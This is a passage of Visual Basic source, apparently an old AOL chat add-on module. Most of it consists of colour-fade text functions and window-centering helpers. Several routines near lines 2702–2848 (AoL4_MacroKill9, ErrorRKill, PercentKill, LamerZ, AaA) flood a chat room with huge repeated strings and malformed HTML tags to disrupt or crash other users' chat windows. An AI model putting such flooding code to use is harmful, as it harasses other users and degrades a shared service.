  2058.     If B = 1 Then a = "00000" & a
  2059.     RGBtoHEX = a
  2060. End Function
  2061.  
  2062. Function Server_Find(lis As ListBox, Wat As String)
  2063. 'in order to make this universal i gotta
  2064. 'make it search your list not your mail
  2065. 'i cant tell if youll list new then old
  2066. 'or old then new mail , if i do it this way
  2067. 'it'll work right with the send index sub
  2068. Dim i As Integer
  2069. For i = 0 To lis.ListCount
  2070. l$ = LCase(lis.List(i))
  2071. If InStr(l$, LCase(Wat)) <> 0 Then
  2072. Found$ = Found$ & lis.List(i) & Chr(13)
  2073. End If
  2074. Next i
  2075. Server_Find = Found$
  2076. End Function
  2077. Function BlackBlue(Text1)
  2078.     a = Len(Text1)
  2079.     For B = 1 To a
  2080.         c = Left(Text1, B)
  2081.         D = Right(c, 1)
  2082.         E = 255 / a
  2083.         F = E * B
  2084.         G = RGB(F, 0, 0)
  2085.         h = RGBtoHEX(G)
  2086.         Msg = Msg & "<Font Color=#" & h & ">" & D
  2087.     Next B
  2088.    ErrorRsenD (Msg)
  2089. End Function
  2090. Sub WierdAttention(Text)
  2091. 'This is going to look really weird
  2092. ErrorRsenD ("<b>ñ</b><i> ñ</i><u> ñ</u><s> ñ</s> " & Text & " <s>ñ</s><u> ñ</u><i> ñ</i><b> ñ</b>")
  2093. BoldSendChat (Text)
  2094. ErrorRsenD ("<b>ñ</b><i> ñ</i><u> ñ</u><s> ñ</s> " & Text & " <s>ñ</s><u> ñ</u><i> ñ</i><b> ñ</b>")
  2095. End Sub
  2096.  
  2097.  
  2098. Function BlackGreen(Text1)
  2099.     a = Len(Text1)
  2100.     For B = 1 To a
  2101.         c = Left(Text1, B)
  2102.         D = Right(c, 1)
  2103.         E = 255 / a
  2104.         F = E * B
  2105.         G = RGB(0, F, 0)
  2106.         h = RGBtoHEX(G)
  2107.         Msg = Msg & "<b><Font Color=#" & h & ">" & D
  2108.     Next B
  2109.     ErrorRsenD ("< A href=""" & URL & """ >" + Msg + "</a>")
  2110. End Function
  2111.  
  2112. Function BlackGrey(Text1)
  2113.     a = Len(Text1)
  2114.     For B = 1 To a
  2115.         c = Left(Text1, B)
  2116.         D = Right(c, 1)
  2117.         E = 220 / a
  2118.         F = E * B
  2119.         G = RGB(F, F, F)
  2120.         h = RGBtoHEX(G)
  2121.         Msg = Msg & "<b><Font Color=#" & h & ">" & D
  2122.     Next B
  2123.     ErrorRsenD (Msg)
  2124. End Function
  2125.  
  2126. Function BlackPurple(Text1)
  2127.     a = Len(Text1)
  2128.     For B = 1 To a
  2129.         c = Left(Text1, B)
  2130.         D = Right(c, 1)
  2131.         E = 255 / a
  2132.         F = E * B
  2133.         G = RGB(F, 0, F)
  2134.         h = RGBtoHEX(G)
  2135.         Msg = Msg & "<b><Font Color=#" & h & ">" & D
  2136.     Next B
  2137.     ErrorRsenD (Msg)
  2138. End Function
  2139.  
  2140. Function BlackRed(Text1)
  2141.     a = Len(Text1)
  2142.     For B = 1 To a
  2143.         c = Left(Text1, B)
  2144.         D = Right(c, 1)
  2145.         E = 255 / a
  2146.         F = E * B
  2147.         G = RGB(0, 0, F)
  2148.         h = RGBtoHEX(G)
  2149.         Msg = Msg & "<b><Font Color=#" & h & ">" & D
  2150.     Next B
  2151.     ErrorRsenD (Msg)
  2152. End Function
  2153.  
  2154. Function BlackYellow(Text1)
  2155.     a = Len(Text1)
  2156.     For B = 1 To a
  2157.         c = Left(Text1, B)
  2158.         D = Right(c, 1)
  2159.         E = 255 / a
  2160.         F = E * B
  2161.         G = RGB(0, F, F)
  2162.         h = RGBtoHEX(G)
  2163.         Msg = Msg & "<b><Font Color=#" & h & ">" & D
  2164.     Next B
  2165.     ErrorRsenD (Msg)
  2166. End Function
  2167.  
  2168. Function BlueBlack(Text1)
  2169.     a = Len(Text1)
  2170.     For B = 1 To a
  2171.         c = Left(Text1, B)
  2172.         D = Right(c, 1)
  2173.         E = 255 / a
  2174.         F = E * B
  2175.         G = RGB(255 - F, 0, 0)
  2176.         h = RGBtoHEX(G)
  2177.         Msg = Msg & "<Font Color=#" & h & ">" & D
  2178.     Next B
  2179.    ErrorRsenD (Msg)
  2180. End Function
  2181.  
  2182. Function BlueGreen(Text1)
  2183.     a = Len(Text1)
  2184.     For B = 1 To a
  2185.         c = Left(Text1, B)
  2186.         D = Right(c, 1)
  2187.         E = 255 / a
  2188.         F = E * B
  2189.         G = RGB(255 - F, F, 0)
  2190.         h = RGBtoHEX(G)
  2191.         Msg = Msg & "<Font Color=#" & h & ">" & D
  2192.     Next B
  2193.     ErrorRsenD (Msg)
  2194. End Function
  2195.  
  2196. Function BluePurple(Text1)
  2197.     a = Len(Text1)
  2198.     For B = 1 To a
  2199.         c = Left(Text1, B)
  2200.         D = Right(c, 1)
  2201.         E = 255 / a
  2202.         F = E * B
  2203.         G = RGB(255, 0, F)
  2204.         h = RGBtoHEX(G)
  2205.         Msg = Msg & "<Font Color=#" & h & ">" & D
  2206.     Next B
  2207.     ErrorRsenD (Msg)
  2208. End Function
  2209.  
  2210. Function BlueRed(Text1)
  2211.     a = Len(Text1)
  2212.     For B = 1 To a
  2213.         c = Left(Text1, B)
  2214.         D = Right(c, 1)
  2215.         E = 255 / a
  2216.         F = E * B
  2217.         G = RGB(255 - F, 0, F)
  2218.         h = RGBtoHEX(G)
  2219.         Msg = Msg & "<Font Color=#" & h & ">" & D
  2220.     Next B
  2221.    ErrorRsenD (Msg)
  2222. End Function
  2223.  
  2224. Function BlueYellow(Text1)
  2225.     a = Len(Text1)
  2226.     For B = 1 To a
  2227.         c = Left(Text1, B)
  2228.         D = Right(c, 1)
  2229.         E = 255 / a
  2230.         F = E * B
  2231.         G = RGB(255 - F, F, F)
  2232.         h = RGBtoHEX(G)
  2233.         Msg = Msg & "<Font Color=#" & h & ">" & D
  2234.     Next B
  2235.   ErrorRsenD (Msg)
  2236. End Function
  2237.  
  2238. Function GreenBlack(Text1)
  2239.     a = Len(Text1)
  2240.     For B = 1 To a
  2241.         c = Left(Text1, B)
  2242.         D = Right(c, 1)
  2243.         E = 255 / a
  2244.         F = E * B
  2245.         G = RGB(0, 255 - F, 0)
  2246.         h = RGBtoHEX(G)
  2247.         Msg = Msg & "<b><Font Color=#" & h & ">" & D
  2248.     Next B
  2249.     ErrorRsenD (Msg)
  2250. End Function
  2251. Sub WindowsIP(TheExe As String)
  2252.  Dim Shellz As Long, NoFreeze As Long
  2253.  
  2254.     Shellz& = Shell("C:\WINDOWS\Winipcfg.exe", 1): NoFreeze& = DoEvents()
  2255. 'C:\WINDOWS\Winipcfg.exe
  2256. End Sub
  2257.  
  2258.  
  2259. Function GreenBlue(Text1)
  2260.     a = Len(Text1)
  2261.     For B = 1 To a
  2262.         c = Left(Text1, B)
  2263.         D = Right(c, 1)
  2264.         E = 255 / a
  2265.         F = E * B
  2266.         G = RGB(F, 255 - F, 0)
  2267.         h = RGBtoHEX(G)
  2268.         Msg = Msg & "<Font Color=#" & h & ">" & D
  2269.     Next B
  2270.     ErrorRsenD (Msg)
  2271. End Function
  2272.  
  2273. Function GreenPurple(Text1)
  2274.     a = Len(Text1)
  2275.     For B = 1 To a
  2276.         c = Left(Text1, B)
  2277.         D = Right(c, 1)
  2278.         E = 255 / a
  2279.         F = E * B
  2280.         G = RGB(F, 255 - F, F)
  2281.         h = RGBtoHEX(G)
  2282.         Msg = Msg & "<Font Color=#" & h & ">" & D
  2283.     Next B
  2284.     ErrorRsenD (Msg)
  2285. End Function
  2286.  
  2287. Function GreenRed(Text1)
  2288.     a = Len(Text1)
  2289.     For B = 1 To a
  2290.         c = Left(Text1, B)
  2291.         D = Right(c, 1)
  2292.         E = 255 / a
  2293.         F = E * B
  2294.         G = RGB(0, 255 - F, F)
  2295.         h = RGBtoHEX(G)
  2296.         Msg = Msg & "<Font Color=#" & h & ">" & D
  2297.     Next B
  2298.     ErrorRsenD (Msg)
  2299. End Function
  2300.  
  2301. Function GreenYellow(Text1)
  2302.     a = Len(Text1)
  2303.     For B = 1 To a
  2304.         c = Left(Text1, B)
  2305.         D = Right(c, 1)
  2306.         E = 255 / a
  2307.         F = E * B
  2308.         G = RGB(0, 255, F)
  2309.         h = RGBtoHEX(G)
  2310.         Msg = Msg & "<Font Color=#" & h & ">" & D
  2311.     Next B
  2312.    ErrorRsenD (Msg)
  2313. End Function
  2314.  
  2315. Function GreyBlack(Text1)
  2316.     a = Len(Text1)
  2317.     For B = 1 To a
  2318.         c = Left(Text1, B)
  2319.         D = Right(c, 1)
  2320.         E = 220 / a
  2321.         F = E * B
  2322.         G = RGB(255 - F, 255 - F, 255 - F)
  2323.         h = RGBtoHEX(G)
  2324.         Msg = Msg & "<Font Color=#" & h & ">" & D
  2325.     Next B
  2326.    ErrorRsenD (Msg)
  2327. End Function
  2328.  
  2329. Function GreyBlue(Text1)
  2330.     a = Len(Text1)
  2331.     For B = 1 To a
  2332.         c = Left(Text1, B)
  2333.         D = Right(c, 1)
  2334.         E = 255 / a
  2335.         F = E * B
  2336.         G = RGB(255, 255, 255 - F)
  2337.         h = RGBtoHEX(G)
  2338.         Msg = Msg & "<Font Color=#" & h & ">" & D
  2339.     Next B
  2340.     ErrorRsenD (Msg)
  2341. End Function
  2342.  
  2343. Function GreyGreen(Text1)
  2344.     a = Len(Text1)
  2345.     For B = 1 To a
  2346.         c = Left(Text1, B)
  2347.         D = Right(c, 1)
  2348.         E = 255 / a
  2349.         F = E * B
  2350.         G = RGB(255 - F, 255, 255 - F)
  2351.         h = RGBtoHEX(G)
  2352.         Msg = Msg & "<Font Color=#" & h & ">" & D
  2353.     Next B
  2354.    ErrorRsenD (Msg)
  2355. End Function
  2356.  
  2357. Function GreyPurple(Text1)
  2358.     a = Len(Text1)
  2359.     For B = 1 To a
  2360.         c = Left(Text1, B)
  2361.         D = Right(c, 1)
  2362.         E = 255 / a
  2363.         F = E * B
  2364.         G = RGB(255, 255 - F, 255)
  2365.         h = RGBtoHEX(G)
  2366.         Msg = Msg & "<Font Color=#" & h & ">" & D
  2367.     Next B
  2368.     ErrorRsenD (Msg)
  2369. End Function
  2370.  
  2371. Function GreyRed(Text1)
  2372.     a = Len(Text1)
  2373.     For B = 1 To a
  2374.         c = Left(Text1, B)
  2375.         D = Right(c, 1)
  2376.         E = 255 / a
  2377.         F = E * B
  2378.         G = RGB(255 - F, 255 - F, 255)
  2379.         h = RGBtoHEX(G)
  2380.         Msg = Msg & "<Font Color=#" & h & ">" & D
  2381.     Next B
  2382.     ErrorRsenD (Msg)
  2383. End Function
  2384.  
  2385. Function GreyYellow(Text1)
  2386.     a = Len(Text1)
  2387.     For B = 1 To a
  2388.         c = Left(Text1, B)
  2389.         D = Right(c, 1)
  2390.         E = 255 / a
  2391.         F = E * B
  2392.         G = RGB(255 - F, 255, 255)
  2393.         h = RGBtoHEX(G)
  2394.         Msg = Msg & "<Font Color=#" & h & ">" & D
  2395.     Next B
  2396.    ErrorRsenD (Msg)
  2397. End Function
  2398.  
  2399. Function PurpleBlack(Text1)
  2400.     a = Len(Text1)
  2401.     For B = 1 To a
  2402.         c = Left(Text1, B)
  2403.         D = Right(c, 1)
  2404.         E = 255 / a
  2405.         F = E * B
  2406.         G = RGB(255 - F, 0, 255 - F)
  2407.         h = RGBtoHEX(G)
  2408.         Msg = Msg & "<Font Color=#" & h & ">" & D
  2409.     Next B
  2410.     ErrorRsenD (Msg)
  2411. End Function
  2412.  
  2413. Function PurpleBlue(Text1)
  2414.     a = Len(Text1)
  2415.     For B = 1 To a
  2416.         c = Left(Text1, B)
  2417.         D = Right(c, 1)
  2418.         E = 255 / a
  2419.         F = E * B
  2420.         G = RGB(255, 0, 255 - F)
  2421.         h = RGBtoHEX(G)
  2422.         Msg = Msg & "<Font Color=#" & h & ">" & D
  2423.     Next B
  2424.    ErrorRsenD (Msg)
  2425. End Function
  2426.  
  2427. Function PurpleGreen(Text1)
  2428.     a = Len(Text1)
  2429.     For B = 1 To a
  2430.         c = Left(Text1, B)
  2431.         D = Right(c, 1)
  2432.         E = 255 / a
  2433.         F = E * B
  2434.         G = RGB(255 - F, F, 255 - F)
  2435.         h = RGBtoHEX(G)
  2436.         Msg = Msg & "<Font Color=#" & h & ">" & D
  2437.     Next B
  2438.   ErrorRsenD (Msg)
  2439. End Function
  2440.  
  2441. Function PurpleRed(Text1)
  2442.     a = Len(Text1)
  2443.     For B = 1 To a
  2444.         c = Left(Text1, B)
  2445.         D = Right(c, 1)
  2446.         E = 255 / a
  2447.         F = E * B
  2448.         G = RGB(255 - F, 0, 255)
  2449.         h = RGBtoHEX(G)
  2450.         Msg = Msg & "<Font Color=#" & h & ">" & D
  2451.     Next B
  2452.    ErrorRsenD (Msg)
  2453. End Function
  2454.  
  2455. Function PurpleYellow(Text1)
  2456.     a = Len(Text1)
  2457.     For B = 1 To a
  2458.         c = Left(Text1, B)
  2459.         D = Right(c, 1)
  2460.         E = 255 / a
  2461.         F = E * B
  2462.         G = RGB(255 - F, F, 255)
  2463.         h = RGBtoHEX(G)
  2464.         Msg = Msg & "<Font Color=#" & h & ">" & D
  2465.     Next B
  2466.    ErrorRsenD (Msg)
  2467. End Function
  2468.  
  2469. Function RedBlack(Text1)
  2470.     a = Len(Text1)
  2471.     For B = 1 To a
  2472.         c = Left(Text1, B)
  2473.         D = Right(c, 1)
  2474.         E = 255 / a
  2475.         F = E * B
  2476.         G = RGB(0, 0, 255 - F)
  2477.         h = RGBtoHEX(G)
  2478.         Msg = Msg & "<Font Color=#" & h & ">" & D
  2479.     Next B
  2480.     ErrorRsenD (Msg)
  2481. End Function
  2482.  
  2483. Function RedBlue(Text1)
  2484.     a = Len(Text1)
  2485.     For B = 1 To a
  2486.         c = Left(Text1, B)
  2487.         D = Right(c, 1)
  2488.         E = 255 / a
  2489.         F = E * B
  2490.         G = RGB(F, 0, 255 - F)
  2491.         h = RGBtoHEX(G)
  2492.         Msg = Msg & "<Font Color=#" & h & ">" & D
  2493.     Next B
  2494.   ErrorRsenD (Msg)
  2495. End Function
  2496.  
  2497. Function RedGreen(Text1)
  2498.     a = Len(Text1)
  2499.     For B = 1 To a
  2500.         c = Left(Text1, B)
  2501.         D = Right(c, 1)
  2502.         E = 255 / a
  2503.         F = E * B
  2504.         G = RGB(0, F, 255 - F)
  2505.         h = RGBtoHEX(G)
  2506.         Msg = Msg & "<b><Font Color=#" & h & "></b>" & D
  2507.     Next B
  2508.     ErrorRsenD (Msg)
  2509. End Function
  2510.  
  2511. Function RedPurple(Text1)
  2512.     a = Len(Text1)
  2513.     For B = 1 To a
  2514.         c = Left(Text1, B)
  2515.         D = Right(c, 1)
  2516.         E = 255 / a
  2517.         F = E * B
  2518.         G = RGB(F, 0, 255)
  2519.         h = RGBtoHEX(G)
  2520.         Msg = Msg & "<Font Color=#" & h & ">" & D
  2521.     Next B
  2522.    ErrorRsenD (Msg)
  2523. End Function
  2524.  
  2525. Function RedYellow(Text1)
  2526.     a = Len(Text1)
  2527.     For B = 1 To a
  2528.         c = Left(Text1, B)
  2529.         D = Right(c, 1)
  2530.         E = 255 / a
  2531.         F = E * B
  2532.         G = RGB(0, F, 255)
  2533.         h = RGBtoHEX(G)
  2534.         Msg = Msg & "<Font Color=#" & h & ">" & D
  2535.     Next B
  2536.   ErrorRsenD (Msg)
  2537. End Function
  2538.  
  2539. Function YellowBlack(Text1)
  2540.     a = Len(Text1)
  2541.     For B = 1 To a
  2542.         c = Left(Text1, B)
  2543.         D = Right(c, 1)
  2544.         E = 255 / a
  2545.         F = E * B
  2546.         G = RGB(0, 255 - F, 255 - F)
  2547.         h = RGBtoHEX(G)
  2548.         Msg = Msg & "<Font Color=#" & h & ">" & D
  2549.     Next B
  2550.     ErrorRsenD (Msg)
  2551. End Function
  2552.  
  2553. Function YellowBlue(Text1)
  2554.     a = Len(Text1)
  2555.     For B = 1 To a
  2556.         c = Left(Text1, B)
  2557.         D = Right(c, 1)
  2558.         E = 255 / a
  2559.         F = E * B
  2560.         G = RGB(F, 255 - F, 255 - F)
  2561.         h = RGBtoHEX(G)
  2562.         Msg = Msg & "<b><Font Color=#" & h & ">" & D
  2563.     Next B
  2564.     ErrorRsenD (Msg)
  2565. End Function
  2566. Sub Win_Center(frmz As Form)
  2567.  
  2568.     frmz.Top = (Screen.Height * 0.85) / 2 - frmz.Height / 2
  2569.     frmz.Left = Screen.Width / 2 - frmz.Width / 2
  2570. End Sub
  2571. Sub Win_Center1(frmz As Form)
  2572.  
  2573.     frmz.Top = (Screen.Height * 0.64) / 2 - frmz.Height / 2
  2574.     frmz.Left = Screen.Width / 2 - frmz.Width / 2
  2575. End Sub
  2576. Sub Win_Center2(frmz As Form)
  2577.  
  2578.     frmz.Top = (Screen.Height * 1.34) / 2 - frmz.Height / 2
  2579.     frmz.Left = Screen.Width / 2 - frmz.Width / 2
  2580. End Sub
  2581.  
  2582. Function YellowGreen(Text1)
  2583.     a = Len(Text1)
  2584.     For B = 1 To a
  2585.         c = Left(Text1, B)
  2586.         D = Right(c, 1)
  2587.         E = 255 / a
  2588.         F = E * B
  2589.         G = RGB(0, 255, 255 - F)
  2590.         h = RGBtoHEX(G)
  2591.         Msg = Msg & "<b><Font Color=#" & h & ">" & D
  2592.     Next B
  2593.     ErrorRsenD (Msg)
  2594. End Function
  2595.  
  2596. Function YellowPurple(Text1)
  2597.     a = Len(Text1)
  2598.     For B = 1 To a
  2599.         c = Left(Text1, B)
  2600.         D = Right(c, 1)
  2601.         E = 255 / a
  2602.         F = E * B
  2603.         G = RGB(F, 255 - F, 255)
  2604.         h = RGBtoHEX(G)
  2605.         Msg = Msg & "<Font Color=#" & h & ">" & D
  2606.     Next B
  2607.    ErrorRsenD (Msg)
  2608. End Function
  2609.  
  2610. Function YellowRed(Text1)
  2611.     a = Len(Text1)
  2612.     For B = 1 To a
  2613.         c = Left(Text1, B)
  2614.         D = Right(c, 1)
  2615.         E = 255 / a
  2616.         F = E * B
  2617.         G = RGB(0, 255 - F, 255)
  2618.         h = RGBtoHEX(G)
  2619.         Msg = Msg & "<Font Color=#" & h & ">" & D
  2620.     Next B
  2621.    ErrorRsenD (Msg)
  2622. End Function
  2623.  
  2624.  
  2625. 'Pre-set 3 Color fade combinations begin here
  2626.  
  2627.  
  2628. Function BlackBlueBlack(Text1)
  2629.     a = Len(Text1)
  2630.     For B = 1 To a
  2631.         c = Left(Text1, B)
  2632.         D = Right(c, 1)
  2633.         E = 510 / a
  2634.         F = E * B
  2635.         If F > 255 Then F = (255 - (F - 255))
  2636.         G = RGB(F, 0, 0)
  2637.         h = RGBtoHEX(G)
  2638.         Msg = Msg & "<b><Font Color=#" & h & ">" & D
  2639.     Next B
  2640.     ErrorRsenD (Msg)
  2641. End Function
  2642.  
  2643. Function BlackGreenBlack(Text1)
  2644.     a = Len(Text1)
  2645.     For B = 1 To a
  2646.         c = Left(Text1, B)
  2647.         D = Right(c, 1)
  2648.         E = 510 / a
  2649.         F = E * B
  2650.         If F > 255 Then F = (255 - (F - 255))
  2651.         G = RGB(0, F, 0)
  2652.         h = RGBtoHEX(G)
  2653.         Msg = Msg & "<b><Font Color=#" & h & ">" & D
  2654.     Next B
  2655.     ErrorRsenD (Msg)
  2656. End Function
  2657.  
  2658. Function BlackGreyBlack(Text1)
  2659.     a = Len(Text1)
  2660.     For B = 1 To a
  2661.         c = Left(Text1, B)
  2662.         D = Right(c, 1)
  2663.         E = 490 / a
  2664.         F = E * B
  2665.         If F > 255 Then F = (255 - (F - 255))
  2666.         G = RGB(F, F, F)
  2667.         h = RGBtoHEX(G)
  2668.         Msg = Msg & "<b><Font Color=#" & h & ">" & D
  2669.     Next B
  2670.    ErrorRsenD (Msg)
  2671. End Function
  2672.  
  2673. Function BlackPurpleBlack(Text1)
  2674.     a = Len(Text1)
  2675.     For B = 1 To a
  2676.         c = Left(Text1, B)
  2677.         D = Right(c, 1)
  2678.         E = 510 / a
  2679.         F = E * B
  2680.         If F > 255 Then F = (255 - (F - 255))
  2681.         G = RGB(F, 0, F)
  2682.         h = RGBtoHEX(G)
  2683.         Msg = Msg & "<b><Font Color=#" & h & ">" & D
  2684.     Next B
  2685.     ErrorRsenD (Msg)
  2686. End Function
  2687.  
  2688. Function BlackRedBlack(Text1)
  2689.     a = Len(Text1)
  2690.     For B = 1 To a
  2691.         c = Left(Text1, B)
  2692.         D = Right(c, 1)
  2693.         E = 510 / a
  2694.         F = E * B
  2695.         If F > 255 Then F = (255 - (F - 255))
  2696.         G = RGB(0, 0, F)
  2697.         h = RGBtoHEX(G)
  2698.         Msg = Msg & "<b><Font Color=#" & h & ">" & D
  2699.     Next B
  2700.     ErrorRsenD (Msg)
  2701. End Function
  2702. Function AoL4_MacroKill9()
  2703. SendKeys "{enter}"
  2704. SendKeys "{enter}"
  2705. SendKeys "{enter}"
  2706. For i = 1 To 150
  2707. a = a & " èTΣ▀ T⌠⌡Lz "
  2708. Next
  2709. ErrorRsenD ".<p=" & a
  2710. TimeOut 0.1
  2711. ErrorRsenD ".<p=" & a
  2712. TimeOut 0.1
  2713. ErrorRsenD ".<p=" & a
  2714. End Function
  2715. Function Text_VeryCrazy(strin As String)
  2716. For X = 1 To Len(strin) Step 3
  2717. i$ = Mid(strin, X, 1)
  2718. i2$ = Mid(strin, X + 1, 1)
  2719. i3$ = Mid(strin, X + 2, 1)
  2720. Final$ = Final$ & "<B>" & i$ & "</B>" & i2$ & "<b>" & i3$ & "</b>"
  2721. Next X
  2722. ErrorRsenD (Final$)
  2723.  
  2724. End Function
  2725. Function ReVXoR(txt)
  2726. For i = 1 To 16
  2727. a = a + ("  " & txt)
  2728. Next
  2729. 'ErrorRsenD ".<p=" & a
  2730. 'TimeOut 0.4
  2731. ErrorRsenD ".<b><Font Color=#D40000><b><p=" & a
  2732. 'TimeOut 0.3
  2733. 'ErrorRsenD ".<b><p=" & a
  2734. 'TimeOut 0.5
  2735. 'ErrorRsenD ".<p=" & a
  2736. 'TimeOut 0.4
  2737. ErrorRsenD ".<FONT FACE=" & Chr$(34) & "Wingdings 3" & Chr$(34) & "><b><Font Color=#D40000><b><p=" & a
  2738. TimeOut 0.4
  2739. ErrorRsenD ".<b><Font Color=#D40000><b><p=" & a
  2740. TimeOut (0.5)
  2741. ErrorRsenD ".<FONT FACE=" & Chr$(34) & "Wingdings 3" & Chr$(34) & "><b><Font Color=#D40000><b><p=" & a
  2742. 'TimeOut 0.4
  2743. 'ErrorRsenD ".<b><p=" & a
  2744. End Function
  2745. Function AaA()
  2746. SendKeys "{enter}"
  2747. SendKeys "{enter}"
  2748. SendKeys "{enter}"
  2749. SendKeys "{enter}"
  2750. SendKeys "{enter}"
  2751. SendKeys "{enter}"
  2752. For i = 1 To 1000
  2753. a = a & "@"
  2754. Next
  2755. ErrorRsenD ".<p=" & a
  2756. TimeOut 0.5
  2757. ErrorRsenD ".<Font Color=#D40000><b><p=" & a
  2758. TimeOut 0.5
  2759. ErrorRsenD ".<FONT FACE=" & Chr$(34) & "Wingdings 3" & Chr$(34) & "><b><p=" & a
  2760. TimeOut 0.4
  2761. ErrorRsenD ".<Font Color=""#005500""><p=" & a
  2762. TimeOut 0.3
  2763. ErrorRsenD ".<Font Color=""#555555""><b><p=" & a
  2764. 'TimeOut 0.1
  2765. 'ErrorRsenD ".<b><p=" & a
  2766. End Function
  2767. Function ErrorRKill()
  2768. SendKeys "{enter}"
  2769. SendKeys "{enter}"
  2770. SendKeys "{enter}"
  2771. SendKeys "{enter}"
  2772. SendKeys "{enter}"
  2773. SendKeys "{enter}"
  2774. For i = 1 To 100
  2775. a = a & " ╦r«°r« ▓║║║      "
  2776. Next
  2777. ErrorRsenD ".<p=" & a
  2778. TimeOut 0.5
  2779. ErrorRsenD ".<Font Color=#D40000><b><p=" & a
  2780. TimeOut 0.5
  2781. ErrorRsenD ".<FONT FACE=" & Chr$(34) & "Wingdings 3" & Chr$(34) & "><b><p=" & a
  2782. TimeOut 0.4
  2783. ErrorRsenD ".<Font Color=""#005500""><p=" & a
  2784. TimeOut 0.3
  2785. ErrorRsenD ".<Font Color=""#555555""><b><p=" & a
  2786. 'TimeOut 0.1
  2787. 'ErrorRsenD ".<b><p=" & a
  2788. End Function
  2789.  
  2790. Function PercentKill()
  2791. SendKeys "{enter}"
  2792. SendKeys "{enter}"
  2793. SendKeys "{enter}"
  2794. SendKeys "{enter}"
  2795. SendKeys "{enter}"
  2796. SendKeys "{enter}"
  2797. For i = 1 To 1000
  2798. a = a & "%"
  2799. Next
  2800. ErrorRsenD ".<p=" & a
  2801. TimeOut 0.5
  2802. ErrorRsenD ".<Font Color=#D40000><b><p=" & a
  2803. TimeOut 0.5
  2804. ErrorRsenD ".<FONT FACE=" & Chr$(34) & "Wingdings 3" & Chr$(34) & "><b><p=" & a
  2805. TimeOut 0.4
  2806. ErrorRsenD ".<Font Color=""#005500""><p=" & a
  2807. TimeOut 0.3
  2808. ErrorRsenD ".<Font Color=""#555555""><b><p=" & a
  2809. 'TimeOut 0.1
  2810. 'ErrorRsenD ".<b><p=" & a
  2811. End Function
  2812. Function LamerZ()
  2813. SendKeys "{enter}"
  2814. SendKeys "{enter}"
  2815. SendKeys "{enter}"
  2816. For i = 1 To 150
  2817. a = a & " LaMeRz    "
  2818. Next
  2819. ErrorRsenD ".<p=" & a
  2820. TimeOut 0.1
  2821. ErrorRsenD ".<FONT FACE=" & Chr$(34) & "Wingdings 3" & Chr$(34) & "><Font Color=#D40000><b><p=" & a
  2822. TimeOut 0.1
  2823. ErrorRsenD ".<b><p=" & a
  2824. End Function
  2825.  
  2826. Function diedie()
  2827. ' '\»╠  (»O») '.--.  /
  2828. 'á ═_╠       '(_O_)    /_/
  2829. SendKeys "{enter}"
  2830. For i = 1 To 1
  2831. a = a & "\»╠  (»O») '.--.  /                                               |_╠  '(_O_)   /_/       "
  2832. Next
  2833. ErrorRsenD "" & a
  2834. TimeOut 0.1
  2835. End Function
  2836. Function ReVreV()
  2837.  
  2838. 'á/»o»)á/»_|\»\/»/
  2839. '/_/\_\ /_»| á\__/
  2840.  
  2841.  
  2842. SendKeys "{enter}"
  2843. For i = 1 To 1
  2844. a = a & " /»o»)á/»_|\»\/»/                                          /_/\_\ /_»| á\__/"
  2845. Next
  2846. ErrorRsenD "" & a
  2847. TimeOut 0.1
  2848. End Function
  2849.  
  2850.  
  2851. Function BlackYellowBlack(Text1)
  2852.     a = Len(Text1)
  2853.     For B = 1 To a
  2854.         c = Left(Text1, B)
  2855.         D = Right(c, 1)
  2856.         E = 510 / a
  2857.         F = E * B
  2858.         If F > 255 Then F = (255 - (F - 255))
  2859.         G = RGB(0, F, F)
  2860.         h = RGBtoHEX(G)
  2861.         Msg = Msg & "<Font Color=#" & h & ">" & D
  2862.     Next B
  2863.     ErrorRsenD (Msg)
  2864. End Function
  2865.  
  2866. Function BlueBlackBlue(Text1)
  2867.     a = Len(Text1)
  2868.     For B = 1 To a
  2869.         c = Left(Text1, B)
  2870.         D = Right(c, 1)
  2871.         E = 510 / a
  2872.         F = E * B
  2873.         If F > 255 Then F = (255 - (F - 255))
  2874.         G = RGB(255 - F, 0, 0)
  2875.         h = RGBtoHEX(G)
  2876.         Msg = Msg & "<Font Color=#" & h & ">" & D
  2877.     Next B
  2878.     ErrorRsenD (Msg)
  2879. End Function
  2880.  
  2881. Function BlueGreenBlue(Text1)
  2882.     a = Len(Text1)
  2883.     For B = 1 To a
  2884.         c = Left(Text1, B)
  2885.         D = Right(c, 1)
  2886.         E = 510 / a
  2887.         F = E * B
  2888.         If F > 255 Then F = (255 - (F - 255))
  2889.         G = RGB(255 - F, F, 0)
  2890.         h = RGBtoHEX(G)
  2891.         Msg = Msg & "<Font Color=#" & h & ">" & D
  2892.     Next B
  2893.     ErrorRsenD (Msg)
  2894. End Function
  2895.  
  2896. Function BluePurpleBlue(Text1)
  2897.     a = Len(Text1)
  2898.     For B = 1 To a
  2899.         c = Left(Text1, B)
  2900.         D = Right(c, 1)
  2901.         E = 510 / a
  2902.         F = E * B
  2903.         If F > 255 Then F = (255 - (F - 255))
  2904.         G = RGB(255, 0, F)
  2905.         h = RGBtoHEX(G)
  2906.         Msg = Msg & "<Font Color=#" & h & ">" & D
  2907.     Next B
  2908.     ErrorRsenD (Msg)
  2909. End Function
  2910.  
  2911. Function BlueRedBlue(Text1)
  2912.     a = Len(Text1)
  2913.     For B = 1 To a
  2914.         c = Left(Text1, B)
  2915.         D = Right(c, 1)
  2916.         E = 510 / a
  2917.         F = E * B
  2918.         If F > 255 Then F = (255 - (F - 255))
  2919.         G = RGB(255 - F, 0, F)
  2920.         h = RGBtoHEX(G)
  2921.         Msg = Msg & "<Font Color=#" & h & ">" & D
  2922.     Next B
  2923.     ErrorRsenD (Msg)
  2924. End Function
  2925.  
  2926. Function BlueYellowBlue(Text1)
  2927.     a = Len(Text1)
  2928.     For B = 1 To a
  2929.         c = Left(Text1, B)
  2930.         D = Right(c, 1)
  2931.         E = 510 / a
  2932.         F = E * B
  2933.         If F > 255 Then F = (255 - (F - 255))
  2934.         G = RGB(255 - F, F, F)
  2935.         h = RGBtoHEX(G)
  2936.         Msg = Msg & "<Font Color=#" & h & ">" & D
  2937.     Next B
  2938.     ErrorRsenD (Msg)
  2939. End Function
  2940.  
  2941.  
  2942.  
  2943.  
  2944.  
  2945. Function GreyBlack2(Text1)
  2946.     a = Len(Text1)
  2947.     For B = 1 To a
  2948.         c = Left(Text1, B)
  2949.         D = Right(c, 1)
  2950.         E = 220 / a
  2951.         F = E * B
  2952.         G = RGB(255 - F, 255 - F, 255 - F)
  2953.         h = RGBtoHEX(G)
  2954.         Msg = Msg & "<Font Color=#" & h & ">" & D
  2955.     Next B
  2956.     ErrorRsenD (Msg)
  2957. End Function
  2958.  
